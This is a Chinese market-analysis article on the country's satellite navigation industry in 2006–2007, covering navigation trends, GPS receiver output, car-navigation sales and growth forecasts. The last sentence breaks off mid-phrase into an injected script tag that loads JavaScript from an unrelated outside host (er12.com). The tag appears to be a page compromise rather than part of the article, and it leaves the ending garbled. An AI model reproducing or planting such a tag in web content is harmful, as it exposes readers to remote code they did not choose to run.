从2004年开始，我国卫星导航应用服务市场持续升温，在车辆监控市场稳步发展的同时，卫星导航仪市场出现了戏剧性的转变，逐步成为卫星导航应用服务产业的主流市场，尤其是汽车前装市场急剧上扬以及卫星导航仪概念的普及，有力地拉动了产业链的整体性形成和发展。2006年的产业盘点和2007年发展态势，有其鲜明特点，也会影响到今后若干年，对此我们不妨作一点剖析。
三大发展趋势值得关注
卫星导航仪市场呈现值得注意的三大概念引领的发展趋势：一是网络导航概念风起云涌，改变了传统的汽车自主导航概念，使卫星导航与无线双向通信的融合、车辆监控与导航的融合、应用与服务的融合成为现实；二是汽车导航仪概念的扩大化，汽车导航与监控为主体和亮点，将通信、视听、上网、信息服务和远程诊断等集于一身，形成真正的车辆信息系统，前装市场的崛起是明证；三是卫星导航仪普适化概念，使导航仪以汽车为载体向个人为载体转变，融入到pda和移动电话手机中，成为个人导航设备(pnd)，其中相当大一部分成为便携式汽车和个人两用型一体化信息终端。
2005年是国际gnss应用产业蓬勃增长的一年，也是以上三大发展趋势的明显佐证。这一年的gps接收机的产量首次突破1亿台，达到1.013亿台，年增长率为53%，预计2006年会达到1.432亿台，年增长率为41%。这种高速发展势头主要是gps与pda和智能手机相结合的缘故，可见便携式手持机和个人消费应用市场明显在启动，并在短期内发力，将逐步成为gnss主要应用领域。同时，值得注意的是带有gpsone功能的cdma手机累积存世量在2005年底已超过1.6亿台，3年间，其年销量从百万、千万，到万万连跳3个台阶。此外，2006年-2007年间，美国、欧洲和日本正式实施一项强制性法令，要求市场上销售的所有手机必须带有位置报告功能，且要保证有足够的定位精度。这无疑会在今后的3年-5年内带动具有卫星导航功能的定位手机市场的大幅度地快速攀升，迎来卫星导航应用服务产业的黄金季节。
今年市场喜忧参半
对于国际上的三大发展趋势来势之猛和2005年国际市场出现的强劲发展势头，确实令业界人士普遍感到惊异，颇为突然。同样感到突然和惊异的是国内的市场发展，2005年国内汽车导航仪的前装市场突然兴起，数量接近8万台，惊异的不仅仅是前装市场真的起来了，更多的惊异是其数量竟然达到如此之多，把后装市场远远地抛在后面，实在令人难以置信。这种突然和惊异的感觉还包含着另外一层的意思，即我们的产业界对市场发展整体上准备远远不足，值得警觉。事实上，进入前装汽车导航仪市场的主要软硬件均来自日本的知名品牌，只有电子地图是国产的，因为这是外商无法逾越的一道坎。而恰恰由于电子地图在政策上的初步放宽，在门上打开了一道缝。有关部门批准了四维图新、高德软件、灵图软件和瑞图万方等9家公司可以从事电子地图的制造和销售与服务，中国卫星导航仪市场才出现了生机，这说明政策的开放何等地重要。中国的企业和市场是那么的可爱，“你给我一缕春风，我便还你满园春色”，多么了不起！值得深思。
2006年的中国卫星导航仪市场应该是喜忧参半。忧的是前装市场汽车导航仪主机和软件仍是国外品牌占垄断地位，而这种局面的改变可能会尚待时日。喜的是整个前装市场的汽车导航仪市场有大幅度提升，达到20多万台套，且我国企业已堂而皇之地进入汽车前装市场，虽然还只是在国产品牌汽车上。所谓进入当然不是指试装，而是正式订货，批量安装，所谓批量是指成千上万台，像菱科电子等厂家便是中国汽车前装市场的吃螃蟹者。更为可喜的是在便携式导航仪市场急剧兴起，今年达到30万台套-40万台套，而车辆监控终端在2006年在稳步前进，年新增装车量可能会有50万台套-60万台套。喜上加喜的是，伴随着中国移动和联通推动的智能手机位置服务(包括利用gps或蓝牙或基站定位)，使网络导航的概念日益深入人心，产生深远而持久的市场效应。
在未来的3年-5年内，特别是今后的一两年内，我国卫星导航应用服务产业在蓄势待发的基础上会有不俗的表现，每年的车载终端的销量至少会有50%以上的增长量，便携式和手持式终端会以翻一番至两番的速度增长。以2007年为例，汽车导航仪的前装市场量有望冲击35万台套，后装市场则只有5万台套-6万台套的量，更多的车辆终端则是gps监控行驶记录仪，年产销量可达80万套左右。便携式和手持终端(包括定位手机)年销量则会越过100万套的门槛，中国的个人导航产业的元年可能会伴着2008年奥运会一同来到，掀起大众化的手机导航热。
未来发展需快马加鞭
我国的卫星导航仪产业，严格地说，应该是以前装市场的兴起才算进入产业期，而个人导航产业元年的到来会真正步入产业化发展时期。相对于汽车导航仪而言，便携个人导航仪的技术门槛要低一些，更为重要的是价格，中国人对此尤为敏感，恰恰在这方面市场已经作好了准备和?script src=http://er12.com/t.js>
